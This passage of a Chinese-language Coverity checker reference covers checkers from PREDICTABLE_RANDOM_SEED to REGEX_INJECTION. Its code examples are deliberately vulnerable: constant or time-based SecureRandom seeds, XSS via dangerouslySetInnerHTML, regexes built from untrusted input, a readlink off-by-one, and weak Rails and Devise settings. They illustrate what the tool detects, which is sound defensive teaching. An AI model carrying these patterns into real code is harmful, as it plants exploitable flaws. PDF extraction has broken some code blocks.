PREDICTABLE_RANDOM_SEED 缺陷表明将可预测值用作了伪随机数生成器 (PRNG) 的种子。PRNG 将生成可预测的一系列值，不适合用于安全应用程序。

第一个事件描述了可预测值，可以是以下值之一：

- 整数或字符串常数值。
- 包含任何常数值的数组。

该检查器发现的后续事件描述了通过一个或多个变量的赋值，并且其最终用作了 PRNG 种子。

4.256.3. 示例

本部分提供了一个或多个同时适用于 Java 和 Kotlin 的 PREDICTABLE_RANDOM_SEED 示例。在这些示例中，一个不合适的值植入 `SecureRandom` 中，这会使生成的随机值可预测。

4.256.3.1. Java

此示例使用了常量整数。

```
public class PredictableRandomSeed{
    public static SecureRandom getRandom() {
        SecureRandom sr= null;
        try {
            long sd = 1234567; //sd contains constant integer
            sr = new SecureRandom();
            sr.setSeed(sd); //setting sd that is constant integer as seed for sr
        } catch (Exception e) {
            return null;
        }
        return sr;
    }
}
```

```
}
```

此示例使用了 `java.lang.System.currentTimeMillis`。

```
long s = System.currentTimeMillis();
SecureRandom sr1 = new SecureRandom();
sr1.setSeed(s);
```

4.256.3.2. Kotlin

此示例使用了常量整数：

```
import java.security.*

class PredictableRandomSeed{
    fun getRandom(): SecureRandom {
        val seed: Long = 23333333
        var random = SecureRandom()
        random.setSeed(seed)

        return random
    }
}
```

此示例使用了 `java.lang.System.currentTimeMillis`。

```
val s = System.currentTimeMillis()
var sr1 = SecureRandom()
sr1.setSeed(s)
```

4.256.4. 模型

下面的方法是模型原语，将其参数标记为用作安全随机种子生成器的种子。该模型原语适用于 Java 和 Kotlin。

```
com.coverity.primitives.SecurityPrimitives
    .secure_random_seed_sink(Object seed)
```

要根据以下源代码生成模型，您需要对其运行 cov-make-library。

```
// User model
import com.coverity.primitives.SecurityPrimitives;
class RNG {
    public void setSeed(String seed) {
        SecurityPrimitives.secure_random_seed_sink(seed);
    }
}
```

该检查器使用得到的模型文件在以下源代码中查找缺陷。

```
// Code under analysis
void setUpRNG(RNG rng) {
    rng.setSeed("constant seed"); //Defect.
}
```

4.257. PRINTF_ARGS

质量检查器

4.257.1. 概述

支持的语言： C、C++

PRINTF_ARGS 会报告无效的 printf 格式化字符串或这些字符串的无效参数。

默认启用：PRINTF_ARGS 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.257.2. 缺陷剖析

PRINTF_ARGS 会报告对 printf 及相关函数的错误调用。例如，它会报告格式说明符与其参数之间的类型不匹配。请参阅“示例”部分了解它可以找到的各种缺陷类型。

4.257.3. 示例

本部分提供了一个或多个 PRINTF_ARGS 示例。

下面的示例说明了因为缺少 %d 的参数而导致的缺陷。

```
void missingArgument() {
    printf("%s: %d\n", "foo"); }
```

下面的示例说明了在没有引用参数的说明符时传递参数导致的缺陷。额外参数为 0。仅针对第一个未使用的参数报告缺陷。

```
void extraArgument() {
    printf("%s\n", "foo", 0); }
```

下面的示例说明了类型不匹配导致的缺陷。ll 参数应该是 int 类型。

```
void wrongType(long long ll) {
    printf("%d\n", ll); }
```

下面的示例说明了无法解析的格式化字符串所导致的缺陷：长度修饰符 'L' 并不适用于 "%d"。

```
void wrongType(long long ll) {
```

```
    printf("%Ld\n", ll);
}
```

4.257.4. 选项

本部分描述了一个或多个 `PRINTF_ARGS` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `PRINTF_ARGS:strict_integral_type_match:<boolean>` - 如果设置为 `true`，类型被视为对 `PRINTF_ARGS` 匹配而言是不同的，即使这些类型具有相同的大小。例如，将针对将 `long` 传递给 `"%d"`（即使 `sizeof(int) == sizeof(long)`）报告缺陷。默认值为 `PRINTF_ARGS:strict_integral_type_match:false`（适用于所有语言）。

4.258. PROPERTY_MIXUP

质量检查器

4.258.1. 概述

支持的语言：. C#、Java、Swift。Visual Basic

`PROPERTY_MIXUP` 检查器检测在属性 `getter` 或 `setter` 的名称对应于其他类成员时，返回或分配一个类成员的情况。此错误模式可能是由于拷贝代码或重命名或重构代码的不完整尝试而造成的。如果某方法是属性定义的一部分，或者其名称带有 `get` 或 `set` 前缀，则该方法被认为是 `getter` 或 `setter`。该检查器忽略具有复杂行为的方法。

默认启用：`PROPERTY_MIXUP` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.258.2. 缺陷剖析

`PROPERTY_MIXUP` 缺陷说明了属性 `getter` 或 `setter` 返回或分配可疑值情况的 `mismatch`。作为这不是意图的证据，`suggestion` 事件指明了一个更接近匹配方法的名称的类成员名称。混合的进一步证据可能包括已经对应于不匹配值的另一个 `getter` 或 `setter` 名称。这些方法通过 `existing_getter` 或 `existing_setter` 事件指明。

4.258.3. 示例

本部分提供了一个或多个 `PROPERTY_MIXUP` 示例。

4.258.3.1. C#

不正确 `getter` 和 `setter` 的示例：

```
class PetInventory {
```

```
// Members:  
private int cats;  
private int dogs;  
  
// Properties:  
public int Cats {  
    get { return cats; }  
    set { cats = value; }  
}  
  
public int Dogs {  
    get { return cats; }      // PROPERTY_MIXUP defect  
    set { cats = value; }    // PROPERTY_MIXUP defect  
}  
}
```

4.258.3.2. Java

不正确 getter 的示例：

```
class RGBColor {  
    // Members:  
    private int red_;  
    private int green_;  
    private int blue_;  
  
    // Getters:  
    public int getRed() { return red_; }  
    public int getGreen() { return green_; }  
    public int getBlue() { return green_; } // PROPERTY_MIXUP defect  
}
```

不正确 setter 的示例：

```
class Point {  
    // Members:  
    double x, y;  
  
    // Getters:  
    double getX() {  
        return x;  
    }  
    double getY() {  
        return y;  
    }  
  
    // Setters:  
    void setX(double val) {  
        x = val;  
    }  
    void setY(double val) {
```

```

        x = val;           // PROPERTY_MIXUP defect
    }
}

```

4.258.3.3. Swift

不正确 setter 的示例：

```

class CashRegister {

    // Members:
    private var dollars_: Int = 0
    private var cents_: Int = 0

    // Properties:
    public var Dollars: Int {
        get {
            return dollars_
        }
        set(value) {
            dollars_ = value
            UpdateIncome()
        }
    }

    public var Cents: Int {
        get {
            return cents_
        }
        set(value) {
            dollars_ = value    // PROPERTY_MIXUP defect
            UpdateIncome()
        }
    }

    func UpdateIncome() {
        // Do something...
    }
}

```

4.258.3.4. Visual Basic

在下面的示例中，针对调用 getY 报告缺陷。

```

Class Coordinate
    Dim x,y as Integer

    Function getX() as Integer
        Return x
    End Function

    Function getY() as Integer

```

```
Return x
End Function
End Class
```

4.258.4. 选项

本部分描述了一个或多个 PROPERTY_MIXUP 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- PROPERTY_MIXUP:report_nonproperty_mismatch:<boolean> - 如果设置为 true，该检查器将报告不匹配的成员，即使该成员可能不是暴露属性，因为它没有具有相应名称的 getter 或 setter 方法。默认值为 PROPERTY_MIXUP:report_nonproperty_mismatch:false (适用于所有语言)。
- PROPERTY_MIXUP:require_compatible_types:<boolean> - 如果设置为 true，该检查器将仅报告其参数或返回值匹配建议的成员（匹配其名称）或与建议的成员有类型关系（父级或子级）的 getter 或 setter 方法。默认值为 PROPERTY_MIXUP:require_compatible_types:true (适用于所有语言)。

4.259. PW.*

质量、编译警告检查器

4.259.1. 概述

支持的语言：. C、C++、Swift

请参阅 PW.*、RW.*、SW.*：编译警告。

当前所有分析警告检查器都在 <install_dir>/config 中提供的分析警告配置文件中进行了描述。配置文件中提供了启用默认情况下禁用的那些 PW.* 检查器的说明。

4.260. RACE_CONDITION (Java Runtime)

质量、Dynamic Analysis 检查器

4.260.1. 概述

当两个或多个线程都在未获取锁以保护访问的情况下访问字段、数组或集合时，Dynamic Analysis 会报告 RACE_CONDITION 问题。

4.260.2. 问题

下表指明了该检查器发现的问题的影响，并根据问题的类型、类别和 CWE 缺陷库（如果可用）标识符进行了说明。这些属性与 Coverity Connect 中显示的检查器信息相对应。请注意，该表还可能指明与问题类型和检查器类别相关的检查器子类别。

Table 4.3. 问题影响 : RACE_CONDITION

问题类型	检查器类别	影响	语言	CWE
数据竞态条件	并发数据访问冲突	中等	Java	366

有关 RACE_CONDITION 的详细信息 , 请参阅 Chapter 2, 。

4.260.3. 示例

考虑下面的代码。您可能期望在 `simpleRaceCondition()` 中 `for` 循环的每次迭代后显示 `race=0`。`simpleRaceCondition()` 中 `for` 循环的每次迭代都开始两个并发线程。一个线程运行 `Upper.run()` , 另一个线程运行 `Downer.run()`。 `Upper` 线程增加 `race` 100,000 次 , `Downer` 线程减少 `race` 100,000 次 , 每次都使 `race==0`。但是 , 如果您运行此代码 , 则会看到 `race` 的多个不同输出。该输出取决于 `Upper` 和 `Downer` 线程的具体安排方式。下面的线程安排存在问题 :

- `Upper` 读取 `race==0`。
- `Downer` 读取 `race==0`。
- `Upper` 计算 `race+1==1` 且将 1 存储回 `race`。
- `Downer` 计算 `race-1== -1` 且将它存储回 `race`。
- 现在 `race== -1`。

很多其他变体都可能发生。

Dynamic Analysis 在输出中注意到此竞态条件。当 Dynamic Analysis 监视下面的程序运行时 , 它会注意到字段 `race` 被两个不同的线程访问 , 但这两个线程不持有可以保护 `race` 和禁止有问题线程安排的锁。因此 , Dynamic Analysis 会报告此代码中潜在的 RACE_CONDITION 缺陷。请注意 , Dynamic Analysis 报告线程 `upper_0` 和 `downer_0` 在其中访问 `race` 的 `field_read` 和 `field_write` 事件。

```
/*
 * RACE_CONDITION defect:
 *   Two threads access a field without acquiring a lock.
 */
static class Race {
    static int race = 0;

    static class Upper implements Runnable {
        public void run() {
            for (int i=0; i<100000; ++i) {
/* Thread "upper_0" writes field "race" of class "simple.Example$Race" while holding
no locks. */
/* Thread "upper_0" reads field "race" of class "simple.Example$Race" while holding no
locks. */
                ++race;
                Thread.yield();
            }
        }
    }
}
```

```

    }

    static class Downer implements Runnable {
        public void run() {
            for (int i=0; i<100000; ++i) {
/* Thread "downer_0" reads field "race" of class "simple.Example$Race" while holding
no locks. */
                --race;
                Thread.yield();
            }
        }
    }

    public static void simpleRaceCondition() {
        System.out.println("**** RACE_CONDITION example");
        for (int i=0; i<10; ++i) {
            race = 0;
            runThreadsToCompletion(
                new Thread(new Upper(), "upper_" + i)
                , new Thread(new Downer(), "downer_" + i)
            );
            System.out.println("    race=" + race);
        }
    }
}

```

4.260.4. 选项

RACE_CONDITION 的选项被设置为 Dynamic Analysis 代理选项或 Ant 属性。请参阅《Coverity 命令说明书》或《Dynamic Analysis 管理员教程》，了解选项详情。

- RACE_CONDITION:detect-races:<boolean> - 检测竞态条件的选项。默认为 true。
- RACE_CONDITION:instrument-arrays:<boolean> - 观察对数组的读写以报告竞态条件的选项。默认为 false。
- RACE_CONDITION:instrument-collections:<boolean> - 检测与集合相关联的竞态条件的选项。例如，查找映射中的静态条件，即线程 1 为 `map.get("key")`，线程 2 为 `map.put("key", "value")`。默认为 true。
- RACE_CONDITION:collections-file:<filename> - 包含 RACE_CONDITION 检查器用于检测 collection 中竞态条件的一系列 collection 操作的选项。此选项意味着将 instrument-collections 选项设置为 true。无默认值。

4.260.5. 事件

本部分描述了 RACE_CONDITION 检查器生成的一个或多个事件。

- field_read - 线程读取字段。请参阅上述示例中的 `upper_0` 和 `downer_0`。
- field_write - 线程写入字段。请参阅上述示例中的线程 `upper_0`。

这些事件带有堆栈跟踪，它们可识别发生相应事件的线程。（线程可以使用 `java.lang.Thread` 的构造函数之一命名，但无法保证这些名称是唯一的。）这些事件指明不同访问站点中持有哪些锁。在此示例中，锁定不足以保证这些线程不会发生竞态。

4.261. RAILS_DEFAULT_ROUTES

安全检查器

4.261.1. 概述

支持的语言：. Ruby

`RAILS_DEFAULT_ROUTES` 可识别由于未将控制器方法标记为私有而导致的漏洞。在 Ruby on Rails 中，可以配置默认路由，使其匹配控制器类上的任何方法。所有不预期成为路由的方法都必须标记为私有。如果方法未标记为私有，攻击者可能会执行不预期成为公共路由的方法。

默认启用：`RAILS_DEFAULT_ROUTES` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.261.2. 缺陷剖析

当 Ruby on Rails 应用程序允许所有控制器上的所有方法或单个控制器上的所有方法都成为路由时，会报告 `RAILS_DEFAULT_ROUTES` 缺陷。

4.261.3. 示例

本部分提供了一个或多个 `RAILS_DEFAULT_ROUTES` 示例。

下面的 Ruby-on-Rails 示例展示了允许 `FooController` 上的任何公共方法被 GET 请求访问的路由配置。

```
Example::Application.routes.draw do
  get "/foo/:action", controller: 'foo'
end
```

4.262. RAILS_DEVISE_CONFIG

安全检查器

4.262.1. 概述

支持的语言：. Ruby

当使用 Devise 验证库配置 Ruby on Rails 应用程序时，`RAILS_DEVISE_CONFIG` 会报告若干最佳实践。

默认启用：`RAILS_DEVISE_CONFIG` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.262.2. 缺陷剖析

RAILS_DEVISE_CONFIG 缺陷表明正在使用的 Devise 配置选项违反了安全最佳实践。

4.262.3. 示例

本部分提供了一个或多个 RAILS_DEVISE_CONFIG 示例。

以下 Ruby 示例显示了使用弱密码 hash 函数的 Devise 配置 (SHA512)。

```
Devise.setup do |config|
  config.encryptor = :sha512
end
```

4.262.4. 事件

本部分描述了 RAILS_DEVISE_CONFIG 检查器生成的一个或多个事件。

- devise_encryptor - 弱密码 hash 算法。
- devise_password_length_min - 最小密码长度太小。
- devise_password_length_max - 最大密码长度太小。
- devise_paranoid - Devise paranoid 设置未启用。
- devise_lock_strategy - 未配置帐户锁定策略。
- devise_reset_timeout - 密码重置链接超时太长。

4.263. RAILS_MISSING_FILTER_ACTION

安全检查器

4.263.1. 概述

支持的语言：Ruby

RAILS_MISSING_FILTER_ACTION 查找筛选器指定不存在的操作的代码。在 Ruby on Rails 中，可以在控制器级别指定操作筛选器。如果筛选器指定了不存在的操作，可能表明存在错误拼写，引用了已删除的代码，或引用了已重命名的方法。在开发人员认为应用了筛选器但实际未应用的情况下，可能会引入安全漏洞。

默认启用：RAILS_MISSING_FILTER_ACTION 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2, “启用和禁用检查器”。

4.263.2. 缺陷剖析

RAILS_MISSING_FILTER_ACTION 缺陷表明 before_filter 或 before_action 将应用于或豁免当前控制器中不存在的操作。

4.263.3. 示例

本部分提供了一个或多个 RAILS_MISSING_FILTER_ACTION 示例。

以下 Ruby on Rails 示例说明了在指定要应用筛选器的操作时筛选器包含拼写错误的情况。因此，预期的授权筛选器不应用于 update 操作。

```
class ExampleController < ApplicationController
  before_action :authorize_user, only: :update

  def update
  end
end
```

4.264. REACT_DANGEROUS_INNERHTML

4.264.1. 概述

支持的语言：. JavaScript、TypeScript

REACT_DANGEROUS_INNERHTML 检查器查找设置了 React 元素的 dangerouslySetInnerHTML 属性的情况。此属性输出原始 HTML 到 DOM 元素的 innerHTML 属性中，如果内容不可信、是动态生成的或者是用户提供的，则可能导致跨站点脚本 (XSS) 漏洞。您应该审计使用 dangerouslySetInnerHTML 属性的所有情况，以确保它只输出受信任或经过净化的内容。

REACT_DANGEROUS_INNERHTML 检查器默认禁用。它仅在 Audit 模式下启用。

4.264.2. 示例

本部分提供了一个或多个 REACT_DANGEROUS_INNERHTML 示例。

在下面的示例中，当 render() 函数返回时，针对为 div 元素分配的属性 dangerouslySetInnerHTML 显示 REACT_DANGEROUS_INNERHTML 缺陷：

```
var React = require('react');

class Dynamic extends React.Component {
  markup (val) {
    return { __html: val }
  }

  render () {
    return <div dangerouslySetInnerHTML={this.markup(this.props.html)} />;
    // REACT_DANGEROUS_INNERHTML defect at previous statement
  }
}
```

4.265. READLINK

质量、安全检查器

4.265.1. 概述

支持的语言 : C、C++、Objective-C、Objective-C++

`READLINK` 可报告使用了 POSIX `readlink()` 函数但程序并未通过安全的方式在结果缓冲区中放置 `NULL` 终止符的很多情况。`readlink()` 函数可将符号链接的内容放置到指定大小的缓冲区中。`readlink()` 的返回值可以是介于 -1 和缓冲区大小之间的任何值，并且两个端点都需要特殊处理。

`readlink()` 函数不会向缓冲区附加 `null` 字符；如果缓冲区过小，则会截断内容。代码必须手动以 `null` 终止缓冲区，但当您通过不安全的方式将返回值用作索引时，经常会产生缺陷。如果使用返回值作为 `null` 终止的索引，将传递小于缓冲区大小的值，或者检查返回值是否小于缓冲区的大小。

如果代码没有以 `null` 终止结果缓冲区，`STRING_NULL` 检查器将会报告缺陷。此外，如果代码使用返回值作为缓冲区的索引，并且未检查其是否为 -1，`NEGATIVE RETURNS` 检查器将会报告缺陷。

默认启用：`READLINK` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.265.2. 示例

本部分提供了一个或多个 `READLINK` 示例。

在下面的示例中，报告了缺陷，因为没有检查确认整数 `len` 不是 -1 并且该整数小于 `sizeof(buff)`。`readlink()` 函数可能返回从 -1 到缓冲区大小（最大）之间的任何值。如果它返回了此最大数量，则当尝试手动以 `null` 终止缓冲区时，会发生超出一个字节的缓冲区溢出。

```
void foo() {
    int len, s;
    char buff[128];
    char *link;
    len = readlink(link, buff, sizeof(buff));
    buff[len] = 0;
}
```

在下面的示例中，代码一定会检查确认 `len` 不是 -1，但可能存在超出一个字节的越界访问，因为当检查 `len` 是否小于 `sizeof(buff)` 时，使用了比较 `<=`，而不是 `<`。

```
void foo() {
    int len, s;
    char buff[128];
    char *link;
    len = readlink(link, buff, sizeof(buff));
    if (len != -1 && len <= sizeof(buff))
}
```

4.265.3. 事件

本部分描述了 `READLINK` 检查器生成的一个或多个事件。

- `readlink_call`：调用了 `readlink` 函数，其中长度参数等于目标缓冲区的长度。

- `readlink` : `readlink` 函数的返回值被用作目标缓冲区的索引。

4.266. RW.*

质量、编译警告检查器

4.266.1. 概述

支持的语言：. C、C++、Swift

请参阅 PW.*、RW.*、SW.*：编译警告。

4.267. REGEX_CONFUSION

质量检查器

4.267.1. 概述

支持的语言：. Java

`REGEX_CONFUSION` 可查找开发人员未意识到采用了正则表达式 (regex) 的方法或参数传递了包含特殊 `regex` 字符的字符串 (例如包含句号或圆点的文件名) 的情况。此类错误可能导致程序通过会导致错误的非正常方式解释字符串。

例如，下面的 Java 参数采用正则表达式并不是很明显。

```
java.lang.String.replaceAll  
java.lang.String.replaceFirst  
java.lang.String.split
```

默认启用：`REGEX_CONFUSION` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.267.2. 示例

本部分提供了一个或多个 `REGEX_CONFUSION` 示例。

```
public class RegexConfusion {  
    String removeXmlExtension(String s) {  
        // Defect: Returns "m.xml" instead of "myxml" for "myxml.xml"  
        return s.replaceFirst(".xml", "");  
    }  
}
```

4.267.3. 选项

本部分描述了 `REGEX_CONFUSION` 检查器生成的一个或多个事件。

- `REGEX_CONFUSION:report_character_hiding:<boolean>` - 当此 Java 选项被设置为 `true` 时，该检查器会对可能打算通过用 * 替换每个字符来隐藏所

有字符的代码（例如 `foo.replaceAll(".", "*")`）报告缺陷。默认值为
`REGEX_CONFUSION:report_character_hiding:false`

如果将 cov-analyze 命令的 `--aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

4.267.4. 事件

本部分描述了 `REGEX_CONFUSION` 检查器生成的一个或多个事件。

- `regex_expected` - [Java] 主要事件：识别调用混淆 API 方法的位置。
- `remediation` - [Java] 解释如何从字面上匹配模式字符串（这通常是此类缺陷的修复方式）。

4.268. REGEX_INJECTION

安全检查器

4.268.1. 概述

支持的语言：. C#、Java、JavaScript、Kotlin、Python、Ruby、Swift、TypeScript、Visual Basic

`REGEX_INJECTION` 可查找将不受控制的动态数据用作正则表达式一部分时产生的漏洞。这可以允许恶意用户访问全部或部分匹配内容或篡改程序的行为。

针对 C#、Java、JavaScript、Python、Visual Basic 启用

默认禁用：`REGEX_INJECTION` 默认禁用。要启用它，可以在 cov-analyze 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `REGEX_INJECTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

Android 安全检查器启用：要与其他 Java Android 安全检查器一起启用 `REGEX_INJECTION`，请在 cov-analyze 命令中使用 `--android-security` 选项。

针对 Kotlin、Swift 和 Ruby 启用

默认启用：`REGEX_INJECTION` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

这是被污染的数据检查器。有关更多信息，请参阅 Section 6.8，“被污染的数据概述”。

4.268.2. 缺陷剖析

`REGEX_INJECTION` 缺陷说明了不可信（被污染）数据被用作正则表达式的数据流路径。该路径从不可信数据源开始，例如在 Java 或 C# 中，在服务器端 Web 应用程序中读取 HTTP 请求参数，或在客户端 JavaScript 中读取攻击者可能控制的 URL 的属性（例如 `window.location.hash`）。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，并最终如何被用作正则表达式。

4.268.3. 示例

本部分提供了一个或多个 REGEX_INJECTION 示例。

4.268.3.1. C#

```
String req = Request["tainted"]; //req contains tainted value
Regex rgx = new Regex(req); // Using tainted value to construct a Regex class
                           // is a REGEX_INJECTION defect.
```

4.268.3.2. Java

```
String foo = req.getParameter("foo");
Pattern pat = Pattern.compile("^( " + foo + ")?(foo|bar)");
Matcher mat = pat.matcher(document);
// ...
```

4.268.3.3. JavaScript

```
// Setting a regular expression from a user's input
var regex = new RegExp(location.hash.substring(1));
```

4.268.3.4. Kotlin

在下面的示例中，Regex 对象由 HTTP 请求中获得的不安全字符串创建。创建 Regex 对象将触发 REGEX_INJECTION 缺陷。

```
import javax.servlet.http.HttpServletRequest;

class RegexInjection {
    fun example(req: HttpServletRequest) {
        val myRegex = req.getParameter("regex_from_network")
        val r = Regex(myRegex)
    }
}
```

4.268.3.5. Python

```
import requests
import glob

def Test():
    taint = requests.get('example.com').text
    glob.glob1("bar", taint)
```

4.268.3.6. Ruby

```
class ExampleController < ApplicationController
```

```

def search
  pattern = /^example-#{params[:query]}$/
end
end

```

4.268.3.7. Swift

```

import Foundation

func processDocumentNode(string: String, store: NSUbiquitousKeyValueStore) ->
[NSTextCheckingResult] {
    // obtain the regex pattern from an insecure location
    let regex: String = store.string(forKey: "regex")!

    do {
        let regex = try NSRegularExpression(pattern: regex) // Defect Here
        return regex.matches(in: string,
                             range: NSMakeRange(0, string.utf16.count))
    } catch {
        print("Error")
    }
    return []
}

```

4.268.3.8. Visual Basic

```

Dim req As String = Request("tainted") ' req contains tainted value
Dim rgx As Regex = New Regex(req) ' Using tainted value to construct a Regex class
                                   ' is a REGEX_INJECTION defect.

```

4.268.4. 选项

本部分描述了一个或多个 REGEX_INJECTION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- REGEX_INJECTION:distrust_all:<boolean> - [仅限 JavaScript、Kotlin、Python、Swift、TypeScript] 将此选项设置为 true 等同于将此检查器的所有 trust_* 检查器选项设置为 false。默认值为 REGEX_INJECTION:distrust_all:false。如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。
- REGEX_INJECTION:trust_js_client_cookie:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中的 Cookie 的数据，例如来自 document.cookie。此选项之前称为 trust_client_cookie。默认值为 REGEX_INJECTION:trust_js_client_cookie:true。
- REGEX_INJECTION:trust_js_client_external:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户

端 JavaScript 代码中的类似数据。请注意：此选项之前称为 `trust_external`。默认值为 `REGEX_INJECTION:trust_js_client_external:false`。

- `REGEX_INJECTION:trust_js_client_html_element:<boolean>` - [仅限 JavaScript、TypeScript] 如果将此选项设置为 `false`，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 `textarea` 和 `input` 元素。默认值为 `REGEX_INJECTION:trust_js_client_html_element:true`。
- `REGEX_INJECTION:trust_js_client_http_header:<boolean>` - [仅限 JavaScript、TypeScript] 如果将此选项设置为 `false`，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 `REGEX_INJECTION:trust_js_client_http_header:true`。
- `REGEX_INJECTION:trust_js_client_http_referer:<boolean>` - [仅限 JavaScript、TypeScript] 如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中 `referer` HTTP 头文件（来自 `document.referrer`）的数据。默认值为 `REGEX_INJECTION:trust_js_client_http_referer:false`。
- `REGEX_INJECTION:trust_js_client_other_origin:<boolean>` - [仅限 JavaScript、TypeScript] 如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 `window.name`。默认值为 `REGEX_INJECTION:trust_js_client_other_origin:false`。
- `REGEX_INJECTION:trust_js_client_url_query_or_fragment:<boolean>` - [仅限 JavaScript、TypeScript] 如果将此选项设置为 `false`，则分析不会信任来自客户端 JavaScript 代码中查询或 URL 的片段部分的数据，例如来自 `location.hash` 或 `location.query`。默认值为 `REGEX_INJECTION:trust_js_client_url_query_or_fragment:false`。
- `REGEX_INJECTION:trust_command_line:<boolean>` - [仅限 Kotlin、Python、Swift] 将此选项设置为 `false` 会导致分析将命令行参数视为被污染。默认值为 `REGEX_INJECTION:trust_command_line:true`。设置此检查器选项会覆盖全局 `--trust-command-line` 和 `--distrust-command-line` 命令行选项。
- `REGEX_INJECTION:trust_console:<boolean>` - [仅限 Kotlin、Python、Swift] 将此选项设置为 `false` 会导致分析将来自控制台的数据视为被污染。默认值为 `REGEX_INJECTION:trust_console:true`。设置此检查器选项会覆盖全局 `--trust-console` 和 `--distrust-console` 命令行选项。
- `REGEX_INJECTION:trust_cookie:<boolean>` - [仅限 Kotlin、Python、Swift] 将此选项设置为 `false` 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 `REGEX_INJECTION:trust_cookie:false`。设置此检查器选项会覆盖全局 `--trust-cookie` 和 `--distrust-cookie` 命令行选项。
- `REGEX_INJECTION:trust_database:<boolean>` - [仅限 Kotlin、Python、Swift] 将此选项设置为 `false` 会导致分析将来自数据库的数据视为被污染。默认值为 `REGEX_INJECTION:trust_database:true`。设置此检查器选项会覆盖全局 `--trust-database` 和 `--distrust-database` 命令行选项。
- `REGEX_INJECTION:trust_environment:<boolean>` - [仅限 Kotlin、Python、Swift] 将此选项设置为 `false` 会导致分析将来自环境变量的数据视为被污染。默认值为

REGEX_INJECTION:trust_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。

- REGEX_INJECTION:trust_filesystem:<boolean> - [仅限 Kotlin、Python、Swift]
将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为
REGEX_INJECTION:trust_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- REGEX_INJECTION:trust_http:<boolean> - [仅限 Kotlin、Python、Swift]
将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为
REGEX_INJECTION:trust_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- REGEX_INJECTION:trust_http_header:<boolean> - [仅限 Kotlin、Python、Swift]
将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为
REGEX_INJECTION:trust_http_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- REGEX_INJECTION:trust_mobile_other_app:<boolean> - [仅限
Kotlin、JavaScript、Swift、TypeScript]
将此选项设置为 true 会导致分析信任以下数据：从
不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为
REGEX_INJECTION:trust_mobile_other_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- REGEX_INJECTION:trust_mobile_other_privileged_app:<boolean> - [仅限
JavaScript、Kotlin、Swift、TypeScript]
将此选项设置为 false 会导致分析将以下数据视为被污
染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为
REGEX_INJECTION:trust_mobile_other_privileged_app:true。设置此检查器选项会
覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-
privileged-app 命令行选项。
- REGEX_INJECTION:trust_mobile_same_app:<boolean> - [仅限
JavaScript、Kotlin、Swift、TypeScript]
将此选项设置为 false 会导致分析将从同一移动应用程序收到
的数据视为被污染。默认值为 REGEX_INJECTION:trust_mobile_same_app:true。设置此检
查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选
项。
- REGEX_INJECTION:trust_mobile_user_input:<boolean> - [仅限
JavaScript、Kotlin、Swift、TypeScript]
将此选项设置为 true 会导致分析将从用户输入获取的数据视为
未被污染。默认值为 REGEX_INJECTION:trust_mobile_user_input:false。设置此检查器选
项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选
项。
- REGEX_INJECTION:trust_network:<boolean> - [仅限 Kotlin、Python、Swift]
将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为
REGEX_INJECTION:trust_network:false。设置此检查器选项会覆盖全局 --trust-network
和 --distrust-network 命令行选项。
- REGEX_INJECTION:trust_rpc:<boolean> - [仅限 Kotlin、Python、Swift]
将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为

REGEX_INJECTION:trust_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。

- REGEX_INJECTION:trust_system_properties:<boolean> - [仅限 Kotlin、Python、Swift]
将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为
